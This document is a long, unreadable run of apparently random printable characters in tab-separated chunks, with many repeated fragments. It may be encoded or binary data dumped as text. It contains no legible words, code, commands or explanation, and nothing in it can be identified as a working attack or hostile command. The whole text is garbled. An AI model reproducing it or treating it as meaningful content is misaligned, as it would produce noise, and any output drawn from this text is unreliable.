ZNR3hWT	A:kV3SG#k z_r[L@ h1XUPW&RUh]fQ RQd	?ZK53_WM	P5VS2nD32=_3[TR 50XdU7WR U5]eQ1RgQR	:ZQl3hWa	@&uVSkj1n_[X4 907XfUHW`RU4]4Q'1RdQ4	bZQi5W[	7NVSGw3_Q[`@ %DX U\W8RUQ][Q RQp	?ZOOWg	nsV6SDs1>_0[Pi O6XdUTW&R2UN]}Q RgQd	%Zbl;BWg	h.uV4SD;SU!_\[Pl z1XU\W.RU6]HQdRdQ0	cZRB?_WS	lo}VSn;BW_l[Ri nXUTW&RUk]DQ 6R9QY	fZTR;hWg	A OV3SHQ30`_@[cl {1X:UDWR1UA]yQ RQx	9ZZArW[	ncnV5SmN j_4[T7 )VXUTWRUk]9QdRdQ0	cZVP3TWM	QuV ST7E_p[NO yXUbW:RUB]OQRQx	 ZMO4WW	5&OVSnO10e_r[eP `lX>UDWRUk]XQ%RQF	ZeAHWW	ouV ST51z_Q[dR 52XdU7WR U4]uQ=3RdQw	$ZdP#5WW	isVSk313_v[[O OX UbW8R Ul][Q0RQh	!Zb@}WO	SuVSl31>_0[Pi O6XdUTW&R2UN]}Q RgQd	ZZ@#BWU	@&uV3SHS7D_3[dP %3X?UHWR2UB]aQ"3RdQ5	)ZVPKWM	F"iVSD;O12_r[`P 5FXUnWRUQ]8QcRfQZ	+ZROIWg	B.uVSj06n_r[Lj `D1X?UvW.R7UA]uQRQl	ZZB4|Wa	@&MVSm/V 3_@[[B 5nXUTWRU4]DQ 7RQd	&ZN5NWL	P OVSk;VU_G[NO z7XUrW8R U6]GQRQF	ZeAGW`	o>sVSlS13_l[e@ 5L1XUvW RUk]yQb1R.QJ	eZd4BWW	oV3SE;V0W=_3[LO lXUjWRUC]aQg6R9Qh	 ZbO?6W`	o2kVSjl6m=_V[c@ {XUjWR7UN]OQ<3RdQZ	?ZOO|Wa	V"kVS0DU_W[dA A6X>UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UC]aQ 0RQh	eZMOjWM	R:NVSE;O12=_V[dP %nXUPWR7U^]CQRQd	?ZK7/BW`	@.RVSEDG=_r[`P `lXU~W.R Um]GQ 0RQw	cZRBTW`	6&VVSGb5E-_V[dP n1XUbW&R2UA]=QbRQR	ZeR;5Wa	@gsVS3?W10!_G[Oj "zXUjW RU7]eQ R.QI	cZU_0Wg	iOVSm#W 2_P[[B 9NXgUPW:R1Ul]HQfRQF	$ZRPrW[	nOVSj;431_s[e@ `lXULW<R7U7]CQ/ R.QN	ZaR3hWM	]:uV SUV0U"_5[SB R6XgUvWRUA]8QcRQx	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNj$|WM	]:sVS1?W z_5[T_ 6y1X8U@W&R2U@]GQ=7RQd	&ZN5NWL	]_VSmJU_\[c@ {1X8U\WR2UB]KQb RgQR	ZOO|Wa	V"kVS0DU_W[dA A6X>UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UC]aQ 0RQh	eZMOjWM	R:NVSE;B6k!_Q[cB 5h6XUTWRUA]CQfRfQx	ZZQTWW	7>sVSn?W0W=_1[X5 %NX8U\W RUB]_QReQB	%Zek@W`	k>VVSF4W_0[e5 %l6X UjW8R7U@][QbRQR	$ZTPgWg	C }VS033z_0[dP ayXUPWRUl]_Q7RQJ	:ZMjfjWS	hNVSG02`_l[Lj `lX?UTWR0U^]aQRQF	eZVj#hWT	A>~VSnsU!_F[dk 26XdUTW8RUA]4QRQB	%ZR@TW`	5kV SV4W_0[e5 %l6X UjW8R7U@][QbRQR	$ZTPgWg	C }VS033z_0[dP ayXUPWRUl]_Q7RQN	ZQj#JWa	4 oV3S2sT_0[e5 %OXgUbW&RUh]}QRQF	ZOO|Wa	V"]VSV5E_p[N@ 2yXeU@W.RU@]CQ3RgQV	%ZUPPW`	@.@VSU;5H_p[SA 5MXUrW8R U6]GQRfQZ	+ZROIWg	B.uVSj06n_r[Lj `D1X?UvW.R7UA]uQRQl	ZZB4|Wa	@&MVSm/V 3_@[[@ `37XUvWfRUh]}Q  RgQQ	bZb@gWS	RNVSG02`_1[dP azXdUTWRUl]aQ' RgQR	:ZSl;_WS	isVSD5z_Q[T_ RX.UjW:RUR]_QaRQR	&Ze@3TWM	QuV ST7E_p[NO yXUbW:RUB]OQReQA	fZM@fjWg	BuVSD7E%_V[L@ `l1XUHW&RUj]@Q-6R9Qh	
ZMO_WO	M AVSGnB7E`_i[S@ `3XUbW&R	Uk]GQdRdQ5	?ZQj4WW	5&uV6SFk12_r[cj %n6XUjW&RUR]OQf RQx	ZdPhWg	h.OVSlO12_r[Ri lXUTW:RUk][QRQo	cZOB;IWX	V"iVS1?t0_r[R@ 5YXULWfR U4]4QaRQQ	$ZS@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQI	bZeR3jWT	BiVSDj3z_0[dP ayXUPWRUl]_Q<RQ5	&ZN6;GWT	PosV6SEnr6m_v[cj %LXUTW R2UN]bQ 6R9Qg	fZa_?6W`	o2]VSV1 z_1[U5 %3XU\WRUC]_QRQI	$ZSA;GWW	RcuVSn?2 0_3[[@ R6XUTW8R	Ul]OQ7RQZ	:Zd45WO	PguV3S2c2U_W[dk 2XU\W8R
U^][Q?R-Qt	<ZZ5/uWc	A:rVS2?5l1_4[L5 >q5XUrWaR1U|]OQRQh	 ZT_|W[	oNVSF?t6k_i[WP R6XUTW8RU@]eQ"6R?QZ	?ZR@3JW`	7~V3SX2U_W[cl 53X UHW.R	Uh]LQ 6R8QB	%ZOPhWQ	R.MV4SF4W_@[TQ  t7XUHWR1Ul]aQ9R8QB	ZRO?hWU	C }V3SWc2U_S[WP %26XeU@W.RU4]GQf1R.QN	
Zd7?TWU	Bc5VSmkV_r[Tl 9L6XgUjW:RUk]4Q<1R:Qd	)ZVPIW[	6&VVSGbt32_v[e5 YXUTW`R	Uj]eQ1RgQU	cZZO6Wa	2]VSV4U_W[cl =lX9U3WfRUk][QRdQ5	ZMP#JWP	BcuVSm/2E-_o[dk FXUnWRUP]KQaRQR	 Zd@TWP	M:5VSn'O30_G[T_ 9n7XUvWR	Uk]uQ  RgQV	&ZRBIWS	n3VSnJW_v[Wl 526X.UjW:RUk]4Q<3RgQR	 ZY5#JWa	4 kVS27E_r[RA LXU\W8R
UQ]eQ;RQF	aZa@']Wf	SwVS2?l6F1_7[V_ =[5XU\WRUR]OQRQ5	
ZbiBWg	@MVS3?WW_l[dP `3X9U~W8RUR]OQRQZ	 ZTRWQ	]25VSl?40X_V[cB 9RXUjWRU6]aQ0RQZ	
ZUR?JW`	|okVSE;F13_v[L@ `l1XUHW&RUh]CQRQV	%ZZB/5WM	R:~VSk;26k_\[dP `3X9U~W`RUQ]CQaRQQ	$ZSAJWM	CkVSW?mW_5[`6 kXdUbW%R2UQ]jQb0RQE	$ZSAjW`	MkVSH;W1z_3[cB =RXU3W&R	Ul]aQ RgQR	)ZVPTW`	]kVSF?t z_v[`P %06X.UjW:RUk]4Q<3RfQZ	:ZY5#hW`	M23V3S2n17H_s[cl =n1XU~W&R7UA]uQ=3RdQ5	&ZRA3FWO	@>VVSW/W33_s[TP l5XeUPWR	Uk]GQ3RdQZ	fZV_WU	@gNVSF0v6m_l[eO lX9U~WRUk]8QRdQI	$ZSAGW`	k>OVSktW_0[c@ %36XUHW&RUl]_Q<RQZ	
ZV_5W[	n&MVSj;20`_Q[cl 2zX?U7W8R	Ul][Q RQB	ZbA3hW`	@gMVSHWU_r[RA A6XUjW8R	Uk]GQ=1R.QJ	ZRA3FWO	@>VVSWb5 0`_@[[A 9n6XUbW&R2UN]bQ  R.QN	gZNPhWU	B.OVSmv30`_s[[O 21XU3W&R2U@]DQ 1RgQR	:ZbB?TWU	A5VSm16m=_V[cB 9L6X-U?W8R	Uh]eQb1R.QJ	:ZaPfjWO	R.NVSF0v6m_l[eO lX9U~WRUl]_Q<RQt	eZMPg|Wg	h.}VS0jV9_W[SO 6z5XgUjWfR2U@]GQ$3ReQB	)ZVR?HW[	6&VVSGb50_r[RA DXUvWRUB]OQRQ4	gZVjmWc	B 7VS2023W9_][S5 !s5XUjW'RUR]OQRQh	:ZY4|W[	i uV3SWnS6k_3[UP %DXU@W`R	Ul][Q$R QJ	
ZV_5WL	]:OV6SFWV_q[e@ RXUjW&RUm]aQ"6R?QZ	gZaPfjWO	R.kVSDj7H1_p[SA 5@XUnWRUQ]8Q" RfQh	ZbiBWg	@gkV STD7G_4[Wl :yXgUjWR	Um]_Q'7RQY	bZbB<|WU	C }V3SD4 2=_P[O6 =AXUnWR2UA]uQgRQB	fZdOjWW	h.@VSm16k_3[LO 0XU3WR2UC]4Q"6R?QZ	gZTR?JW`	n_VSjHE_p[dB 5LXUTWR	Uk]uQd3RfQh	eZMB4Wg	A kVSn;4131_Q[dR 5O1XU~W R2U@]jQfRQZ	:ZNOBWg	ouV6SEjE-_o[dk F6X:UnWRUj]CQ$ RdQt	eZb@IW[	6&VVSGb5G2_r[T_ 6tXUPW.R7UA]GQRQY	fZd63JWW	5&}V3SG4W_l[cj R7XfUjWR0UP]CQ6R>QJ	
ZV_4WP	BcOV6SEnt6k_1[U_ Y6X.UHWbRU^]CQRQk	gZRO0Wg	osVSn'r1z_C[[@ YXUTW`RUk]yQb6R9Qh	 Zb@#TWa	4 NVSG7E_p[dA VXdUvWfR	Ul]KQ 3ReQB	Zbl3jWV	7c5VSn?O1l9_s[L4 !M7XeUPW<RUl]OQRQF	 ZOQ;GWW	]>CVSTHU_W[dO 0XUWWeR0Uh][QRQJ	`ZRCSWf	n%6V4Sm<xU_W[d@ %lX?U7W&R2UA]uQgRQZ	 ZT_|W[	oNVSF?t z_l[Pj %36XUHW&RUk]8QRQt	9Zek@W`	k>OVSkjH_v[X5 %LX.U@W.R	Uj]GQ 0RQh	ZRO?6WL	CEVSn'V10!_p[T_ 9tXU\WRU@]GQ RQF	9ZZB;BWW	7OVSnt33_v[X5 %LXUjW;R7U6]fQ  RdQZ	ZQ735Wa	@ouVSk;K1l_\[L_ nX8U\W R2U@]eQ"6R?QZ	?Za_?6WM	B~V3SV?EG`_v[SQ 9j1X?UbW`RU4]GQ RfQY	fZeP#hWc	4 OVSlj m_o[[B 537XU?W&RUm]aQRQ5	%ZL5TWQ	PgMV6SH'J30_3[U_ 906X.U\W8RUC]aQg0RQh	 ZY5#jWS	RNVSmc2U_W[dB AXUnWRUP]KQc1R:Qc	gZRC6Wf	715V4SjXV_7[R} z5X ULWRUP]KQc3RfQh	 ZTP#jW`	MkVSH;W1z_3[cB =RXU3W&R2U@]eQRQZ	!ZVR3hW[	h:sV6SDrE`_s[eO 92XeUPW.RU5]}Q$RQB	Zbj#5W`	BuV6SH'V 2_\[cB 5hXUPWRUj]@QdRQF	ZeAJWU	M}VSGo4X_Q[eB 2yXfU~WR7US]_Q"3RfQh	
ZVR;hWc	4 OVSmq0W2_}[cO RX UHW`R7U4]9QdRQF	ZeAjWO	C3VSX'4X_P[S@ %36XUHW&RUk]4Q<1R:QV	fZb5#nWQ	]25VSl?rF_\[eO RX9U3W&R7UA]uQ=3RfQh	eZVl3nWU	B.OVSEWV>_1[SO 6y1X>U@W RUh]}Q$1R.QN	ZZ@_WW	P3VSm#46m=_V[c@ %R7XeUPWRUA]CQaRQR	&ZeBhWc	5&OVSj;O30`_@[cj %h6XeUPW<RUl]OQRQY	$Zek@WO	@>VVSj?VW_][N@ )s0XUrW!RU5]WQ87RQt	ZN7nuWc	ClV6SXwU_r[RA lX9UHW.RUk]GQ3RgQV	%ZU_BWg	nguVSkS7E!_Q[eO lX9U~WRUk]4Qg7RQV	ZV_Wg	h.MVSEt 3_l[L4 nX:UbWRUk]8QRQt	9Zek@W`	k>5V6SGfDF_r[eO lX9U~WRUk]DQg6R?QZ	eZMO6WP	Bc}VSm#W 2_P[WR 9LX.UbWRUP]KQcRQF	 ZT7?TWQ	S5VSlD z_1[WP "z6XUjW R2UC]GQ3RgQR	 ZY5#JWW	7cOVSmOW_4[Wl =RXfU~WR	Uk]uQRQB	)ZVPFWO	@>VVSW 4W_l[X4 zXUTWRUl]OQRQF	&ZeO?hWL	R.MVS1r13_r[S@ 5LXgUPW RUh]}Q$ R>QJ	eZVl3nWc	7.}VSES7G_4[cB :yXfU~W.R7UB]OQ=RQB	ZUlTW`	o2]VSV5E_v[U7 9RXUvWRUj]eQ3RfQR	&ZR@#5W`	BuVSl4U!_\[e4 l1XU@WR	Uk]GQRQB	)ZaR?}WW	5&5VSjV31_@[ci n5XeUPWR	Uj]_Q=7RQY	bZbB<WW	7.}V3SDWV>_1[SO 6y1X>U@W RUh]}Q$1R.QN	ZZ@_WW	P3VSm#46m=_V[c@ %R7XeUPWRUA]CQaRQR	&ZeBGWO	@>VVSj7E_r[RA LXU\W8R
U^]WQ3RQd	<ZQR'GWO	@>VV6SGk1z_l[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?hWM	RuVSj4 2=_P[WP R6XUTW8R	Uk]uQ1R.QJ	:ZMB?TWU	B:uVSk;16m=_V[cB 537XU?W&RUk]8QRQt	9Zek@W`	k>3VSjq0W2_}[c@ YXUTW`R	Ul][Q R QN	ZeR;hWP	B:3VSjrT_w[WR 5nX9UjW R2UB]KQ$RQI	$ZSAGW`	C uV3SWnS33_v[X5 %jXU~WR	Uk]uQRQt	ZU_?hWL	R:sV6SDrE`_Q[NB R6XgUjW&R7UA]uQ=3RfQI	fZbA3hW`	@gMVS0S7G_0[X5 %nXUjWR2U@]_QRQ5	ZN6;GWW	]>VVSW/QF_\[`R 537XU?W&RUl]_Q<RQZ	fZe_6WW	6:OVS3?r0W=_\[OP nX>UTWfRUh]bQ 3RfQh	ZRB4WX	POVS3?W3z_v[`P `lX?UTW&R7UA]uQ=3RdQ5	Zbl4|W[	ngkVSjVV_Q[cA 5n6XU7WRUN]CQRQI	$ZSAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Qc RdQ5	fZdPfBWg	h.OV3SHQ30`_@[cl 2zX9U3WR7UN]OQ3RdQ5	&Za_?6WW	62uV6SD4 2=_l[cj R7XfUjW R7UN]OQ3RfQg	bZeR3jWT	C3VSjq0W2_}[cB 9LXU@WR U5]eQ$ RgQR	$ZT5#JWP	BcOVSlt 3_r[U5 %LX9U3WR7UB][Qb RfQh	ZVP_WM	@3V3S1OW=_3[Rj %D1X?U7W`R7U4]5QeRQB	Zd@fjW`	BuV6SEjE`_p[O6 =AXUnWRUl]OQaRQR	 ZOQ;GWW	]&VVSGbV1n1__[cA oXfU~WeR0Um]iQg0RQF	Zbj<6W`	]&VVSG/r 0!_3[cO l6XUTWR	Uk]uQ1R.QJ	:ZMB?TWU	@gOV3SHQ30`_p[SO 926XUTWfRUh]}Q3RdQZ	ZU_?IWU	CuV3SG/k30`_p[WP OXgUvWRUA]8Qc6R9Qh	'ZRB?hWc	4 OVSmE30_0[W_ yXU7WRU@]jQ  R.QJ	!ZVR3hWT	C kVS15V_r[eO lX9U~WRUk]DQg6R?QZ	eZMO6WP	Bc}VSj4 2=_P[WR 9LX.UbWRUP]KQcRQF	 ZT7?TWQ	S5VSlD3z_0[dR 5RXgUTWfR2U@]GQ$RQZ	fZe_6WW	6:OVS3?r0W=_\[OP nX>UTWfRUh]bQ 3RfQh	ZRB4WX	POVS3?W3z_v[`P `lX?UTW&R7UA]uQ=3RdQ5	Zbl4|W[	ngkVSjVV_Q[cA 5n6XU7WRUN]CQRQI	$ZSAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Qc RdQ5	fZdPfBWg	h.OV3SHQ30`_@[cl =nXUTWfR2U@]GQ$RQ4	cZZ@hWg	i}VSm/r31_s[[O 21XU?W RUl]aQRdQ5	Zbi|WL	]:OV6SFk7E!_\[Wj %36XUHW&RUk]8QRgQd	ZdPfBWg	h.OV3SHQ30`_@[cl =nXUTWfR2U@]GQ$RQ4	cZZ@IWg	osVSn'r1z_C[[@ YXUTW`RUk]yQb6R9Qh	 Zb@#TWa	4 NVSG7E_p[dB AXUnWRUl]OQaRQQ	$ZSAJWM	CkVSW?v6S!_5[ei =s0X?U\WR2U^]_QRfQ8	$ZSAjW[	h}VSmW33_s[T_ D1X?U7W&RUm]KQ7RQZ	eZM_5Wc	4 OVSlWV_q[e@ n6XU7W.RUk]DQ RQB	
ZM@fBWg	M5V6SFrE`_p[SA 5@XUnWRUQ]uQ3RgQV	%ZUPPWW	65V6SFr j_l[OO D1X>UDW.R7U6]_Q"0R QN	:Zd5#5W`	BuVSmbD0!_F[S@ VXgUTWfR2U@]GQ$ R>QJ	:ZNOBWg	o}V3S0tW_r[e5 %36XUHW&RUk]8QRQt	9Zek@W`	k>VV6SDS7D_\[TP %LXfUTWRUh]OQ=RQZ	!ZVR3hWT	@5VSnOW_r[X4 3X:UjW&R U4]8Q3RdQZ	fZV_WU	B.uVSFV13_Q[Wi 36XUTWfR2UB][Qb ReQB	ZdOjWW	h.kVSl?V30_C[SB 53X UDW8R	Uk]DQg6R?QZ	eZMO?6W`	o2]VSV5E_r[S@ %lX?U7W&RUj]@QdRQF	ZeAGW`	hcMVSm/Q30`_s[NP {XgUTWfR2U@]GQ$ RdQZ	
ZVR3jWT	C3VS1?413_w[WR 5nXUPW<RUl]OQRQF	&ZeB3JWP	BJV6SD;t6m=_w[OP n5XeUPWR	Uj]_QRQZ	fZb@hWW	k:}VS0D 22_0[ci l5XeUPW&R2UC]KQ7RQc	cZURIWU	CMV6SH'SF_\[Rl =D1XUTWfR2U@]GQ$1R8QB	
ZMOjWO	R.~VSF0v6m2_}[cB 9L6X-U?W8RUC]aQRQh	eZSj#BWg	ng3V3S2o3V_O[e@ `l6XUHW&R2UC]KQ<RQ5	&ZN6;GWW	]>VVSj7E_v[NQ =AXUvWRUA]8Q 1R:Qd		ZU_<7Wc	h.vVSW't3Wd_n[e@ &0XeUPW'RU6]KQaRQR	 ZbB3IWg	h.5V6SGfDG_v[U_ zX>UDWRU@]eQRQZ	gZdOjWW	h.NVSmn17H_Q[W_ y1X9U~WRUC]_Q"RfQh	:Ze_4W`	n3V3SWfD6k_3[UP %DXU@W`R	Ul]KQ  RfQR	
ZUR?JW`	63V3SVW1z_3[cB =RXU3W&R	Uh]LQfRQ5	%ZdO?4WW	4 }VS3'rV_@[ci nX U@W.R7UQ]8Q7RQV	'ZROBWg	nguVSkS7G_}[WR 5hX>UDW&RUk]8Q7RQV	'ZROBWg	nguVSkS7E!_3[c@ azXUjW&RUA]8QRQt	9Zek@W`	k>5V6SGfDF_r[c5 %36XUHW&R
Ul]aQ$RfQZ	 ZTR;IWP	S3VSn8y13_w[WR 5nXUPWRUj]@QdRQF	ZeAGW`	@oNVSn?41z_l[`P `lXU~WRU@]eQRQZ	gZdOjWW	h.NVSjjW_\[Wj %DXUTWR7UB]fQ RQZ	:ZNOBWg	o3V3S2c2U_W[dA DXUTW&R2U@]GQ3RdQ5	ZN6;GWW	]>VVSWbtW_v[U5 %L6X.UjW8R U5]bQ 1RfQR	
ZVl;hW`	@ouVSk07E!_v[c@ `DXU?W`R	Ul]KQ  RfQR	
ZU_JWU	BcsVSmbD7G_0[Wl =DX U\W`R	Ul]KQ RfQR	:ZM@#HWW	Rc}VSmJ z_4[cj 26X>UbWRUP]KQcRQF	 ZT7?TWQ	]&OVSl?W32_p[S@ %36XUHW&RUj]@Q 6R9QZ	ZRB3hWa	@gMVSFQ z_\[WP %36XU~W&RUA]4Q<1R:QV	fZb7;hWM	QsVSkS7G_3[L_ 35XeUPWR	Uj]_Q=7RQt	
ZVR3jWT	B3VS1?W 2=_P[WP YXUTW`RU5]bQ/0R QJ	eZbOWP	RkV SVD7D_w[d_ lX9U~W&RUN]CQRQx	9Zek@W`	k>CVSTHE_r[dk FXUnWRUl]eQ RQF	aZe@cwWc	@ 2VS0c16S!_4[NQ AXUnWR2UA]GQ=1R.QJ	:ZVP#4Wg	S }VS3'rV_@[cj %nX U@W.R	Uk]yQ RfQZ	ZVPTW`	]kVSF?t z_v[`P %06X.UjW:RUk]4Q<3RfQY	fZM73nWg	M:}V3SXWU!_o[dk F6X:UnWfR2UA]<QRQB	
Zbl3TW`	n_VSjHE_p[dO 9nXUTWfR2U@]GQ$1RdQ0	$ZZO?KW[	6&VVSGb5G=_w[Wi 3X:UjW RUm]_QRQB	
Zbl3TWW	6:}V3S2nt33_v[X5 %DXgUjWR	Um]_QRdQw	cZRO?IWc	6:OVS2rE`_Q[O6 =AXUnWRUQ]8Qc7RQZ	
ZdOjWW	h.}V3Sz47G_w[WR 5nX?ULW RUj]eQ1R:QV	)ZY4?KW[	6&VVSGb5E_r[dk F6X:UnWRUj]eQ"3RgQR	 ZY5#BWP	Q:}VS201z_\[e7 9RXU3W&R7UA]uQ=3RdQZ	ZY7TWW	ngMVS3?k322_5[T_ 9nXUTWfR2U@]GQ$1RgQd	&ZT7JW`	o2]VSV5E_p[cj %nX>UjW&RUh]aQ RfQY	fZbj#JWP	B~VSHk7G_\[eO lX9U~W.R7U4]9QdRQF	ZeAGW`	hc_V3SG/B22_4[cB =0XdUvW R2U@]GQ=RQF	fZQP?5W`	@NVSF?t 1_p[O6 =AXUnWRUQ]8Q"0R QI	fZbj#HWO	Bc_V3SG/B1k"_4[Wl =DX UbWRUP]KQcRQF	 ZUP#jWa	BcuVSmS7D_3[Wl 5hXU~WR	UC]KQRQt	 ZQj#HWW	PsVSlB 2_v[Rj `DXUPWRUl]_Q  R.QJ	eZM@#BWS	Po}VS1?232=_r[U4 906X>UbWRUP]KQcRQF	 ZUP#jWa	BcuVSmS7D_r[Rj azX?ULWRUB]KQ0RQg	bZZ@#BWP	QkVSn00W_l[U_ 906X>UbWRUP]KQcRQF	 ZUP#jWa	BcuVSmS7D_r[Rj azX?ULWRUB]KQ3RfQg	bZZB;hWP	AkVSHq1z_\[e7 5nX9UjWRU@]eQ R.QJ	
ZbB?JW`	o2]VSV5E_v[TP %l7XU3W&RUk][Q7RQB	eZVl3nWU	B.OVSEQG_v[U_ nXU7WfRUj]eQ R.QI	cZNjhWa	AMVSnJ6m_}[cB 5hX UbW&R7UA]uQ=3RfQg	bZeR3jWT	A:3V3SztU_3[c@ %tXU@WR U7]eQ R>QJ	fZViWS	R:3VST;l6m=_V[cO 0X UDW RUk][Q'3R.QN	ZZB?HW[	6&VVSGb5G=_l[Ri nXUTW`R	Uh]}Q 3RfQZ	ZN6;GWW	]>VVSW/r2_v[L@ @XUnWRUQ]zQbRQZ	:ZY4|WT	@_VSjHE_p[dB 5LXUTWR	Uj]GQ$0RQZ	eZb@IWg	h.OVSmJV_Q[eO lX9U~WR U6][Q7RQd	&ZN6;GWW	]>VVSj7E_v[NQ =AXUvWRUA]8Q 1R:Qd		ZdOMWX	C 2VSCnr6U=__[W_ 1 XUTW'RUS]CQ"3R Qd	'Zek@W`	B.OVS3'r6m=_q[T_ D1X?U7W&RUm]KQ7RQZ	
ZVijWL	RNVSmn17H_s[cj %nXUPWR7UN]CQRdQw	$ZRO0|WU	B.OVSm#W 2_l[U_ 906X?UTWRUl]OQRQF	 ZVP#4W`	43VSl?kE`_Q[O6 =AXUnWRUQ]8Q"3RfQZ	!ZVR3hW[	ngiVSnjU_r[RA A6X:UnW`R U5]bQ/0R QJ	ZR@3JW`	7cuV3SHW 1_s[NP Y6X.UbWRUP]KQcRQF	 ZdB4Wg	B.sV6SH'SV_@[cj %nX?UTW RUm][Q7RQZ	!ZVR3hW[	nsVSl?SV>_r[J5 RXULW R2U@]DQ/3RdQ5	&ZRA3FWO	@>VVSWb5G=_v[e@ R1XU?WR2UB][Q=6R9Qg	bZal?TWU	M5V6SFr12_r[LO R6X8UPW8R U4]CQaRQR	&ZeAGW`	k>3VS38y0T_C[`l 9MXgUvWRUA]8QcRQF	 ZOPhW[	h}VSlD0_r[RA A6X:UnWRUQ]8Q"3RgQR	$ZVR3TW[	7&oVSjHE_p[dA DXUvWRUA]8QcRQY	$Zek@W`	k>VV6SDS7D_\[cB 5nX>UDW&R2UC]KQ3RgQR	 ZY5#JWW	4sVSm#rW_w[WR 536XU7WfR	Uk]GQ"R.Qd	`ZRPg|Wg	SOVS3'rV_[`P azX U@WR	UC]KQ7RQZ	
ZY7?JWL	BkVS38y0T_3[cO yXUTW`R7U|]_Q"1R.QN	:ZSjf6WL	BkVSm#46m=_F[SO 90XU3W&R7UN]OQ ReQB	&ZN6;GWW	]>VVSjD32=_V[UP %LX.UbWRUP]KQcRQF	 ZT7?TWQ	POVSm41z_P[SO zX9UHW&R2UN]bQ RQZ	!ZVR3hWT	C}V3S2bjE-_o[dk F6X:UnWRUR]OQRQY	$Zek@WO	@>VVSj?VV_m[dm zX:UKWeR7Ul]WQRQo	!ZYk;GWW	]>uV3SD;2 2=_0[c@ `lXU@W RUh]eQd0RQZ	&ZU_0|WL	]:OV6SFj0"_5[[@ ay1XU~W RUj]eQ$3RfQZ	 Zd4?6W`	i oVSjHG2_}[d_ zX8U@WfR2U@]eQ$RQB	ZaP#BWQ	Rc5VSn?q0W2_}[cO 906X>UbWRUP]KQc RfQh	$Zaj#jWg	S uVSlS7D_\[W_ 27XfUHW`R	Ul][Q R QN	ZeR;hWP	C oVSjHG=_w[Wi 3XUTWRUl]fQ RQB	&ZN6;GWW	]>uV3SD;2 2=_0[c@ `lXU@W RUh]eQd0RQZ	&ZU_0|WL	]:OV6SFj0"_5[[@ %36XUHW&RUj]CQ$1RgQQ	$ZZB?JW`	o2]VSV5 2=_r[`j %l1XUPW&R	Uj]_Q7RQI	bZbB<WW	7.}V3SDjE-_o[dk F6XU?W R2UC]4Q$6R9QZ	 Zbj#JWP	B}VSm#W 2_P[[B 9NXgUvWRUA]uQ0RQh	ZbOhW`	BcuVSkj32_v[e4 90X9U3WR7UB]fQ-1RfQZ	$ZMOTW`	o2]VSV533_0[e7 5l5XeU\WRU6]KQRQx	9Zek@W`	MOVS3?Q6m_l[dP %R1XUjW.R	UN]eQbRdQ5	ZZB35Wa	@ouVSn43_O[Rl 2yX.UPW&R7UA]uQ=3RdQ5	)ZVR?HW[	6&VVSG/Q0W=_U[cO n6XU3W&RUm]_Q<1R.QI	bZeR3jWT	BNVSG7E_v[U5 `l XfU~WfR	Uk]uQ"3RdQ5	ZZB;hWM	]5V6SFr7H1_p[O6 =AXUnWR2UN]OQ&3RfQh	fZVP#hWT	C3VSl?W13_[X4 9nXU\WRU7]CQbRQZ	ZVPFWO	@>VV6SG#V13_}[eB 2zX UDWRUA]9QdRQF	Ze@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQI	bZeR3jWT	BiVSDj13_l[`P `lXU~W`R7U4]8QRQI	$ZSAjWO	]:5VSmS6m=_\[cB 9RXU\WR	Uj]eQ'0RQg	+ZbO?6W`	o2]VSV5 2=_r[`j %l1XUPW&R	Uj]_Q7RQI	bZbB<|Wc	4 OVSmq0W2_}[cO 906X>UbWRUP]KQc RfQh	$Zaj#jWg	S uVSlS7D_\[W_ 27XfUHW`R	Ul][Q R QN	ZeR;hWP	C oVSjHG=_w[Wi 3XUTWRUl]fQ RQB	&ZN6;GWW	]>uV3SD;2 2=_0[c@ `lXU@W RUh]eQd0RQZ	&ZU_0|WL	]:OV6SFj0"_5[[@ %36XUHW&R2UB]aQ3RgQQ	fZd73JWa	4 NVSG7E_v[U5 `l XfU~WfR	Uk]uQ"3RdQ5	ZZ@fjWg	o5V6SD;q7H1_p[O6 =AXUnWR2UN]OQ&3RfQh	fZVP#hWT	C3VSj;B33_v[X5 %L7XeUPW<RUl]OQRQg	+Ze_|W[	i5V6SF?rF_O[ci DXUTWRUA]CQaRQR	 ZdB4Wg	@ouV3SD;VV_@[WP @XUnWRUP]KQc7RQZ	!Zd5#jWT	A:AV SW7E_p[cj `lX9UHW:RUA]5QdRQF	ZeA;GWW	]>5V6SGfS32_l[`P ayXUPWRUl][Q3RdQZ	fZV_WU	@gNVSE;t6k_3[`l z5XgUbW&R2UA]GQ1R.QN	ZePg|WT	BNVSm 2V_\[eO 3X9U~W8RUR]OQRQZ	
ZV_|WV	5uVSH?r32_0[U_ n7XUvW&RUm]_Q" RgQQ	fZM4hWa	A5VSGc2U&_r[dk F6XUPW&R7U^]aQgRQg	bZSl;hW`	COV5SD;r2_v[UR =OXU@W`RUj]eQ1R.QJ	ZQ7;hWM	QsV6SFE1z_Q[dP azXUTWRUk]zQdRQB	
ZeR3hWS	o:kV4SVt6k_3[`l yXU\WR	Uh]OQ= R>QN	eZQjfjWg	h.NVSF?q z_O[Pj `DXU@WRUA]CQRdQE	$ZSAJWU	A}VSmtV>_r[SO 9n7XUHWRUB]OQ"3RfQR	gZb@#HW[	6&VVSGbtU_3[c@ %tXULW&RUh]eQ3RfQg	bZM@3HW`	2]VSV56m=_q[T_ 9n7XUHWRUN]HQb RQB	%ZdO?4W`	7cuVSH?r30`_}[NR R6XUbW8RU@]jQ/1R.QJ	:ZblWW	7.}V3SH'r 2_G[S@ 5LXfU?W.R7UB]fQ/ RgQR	ZURHW`	5~V3S0t0W=_V[X4 0XUTW.R7UA]GQ$RQ5	Zd7?HW[	5CVSTHE_s[T_ 9MX8U@WR Ul][Q:6R9Qh	 Zb@}WO	]:OV3SHj30_i[SO LXeUjWRUh]eQd3RfQg	bZM@hWU	C }VSmD32_1[c@ %L6XfUTW-R	UN]}QRgQR	:ZSl4W[	h:MVSEt32_1[c@ %L6X9UjW`R7U7]CQ 3RgQV	%ZZOnWg	i _V3SGJ z_l[`R =RXU3W R2U@]GQ=RQ4	cZZ@TWP	B~V3SV0y1z_l[cl yXfU~W.R7UN]}Q$ RfQR	Za_?6WT	C iVSD;S U:_5[[B 9N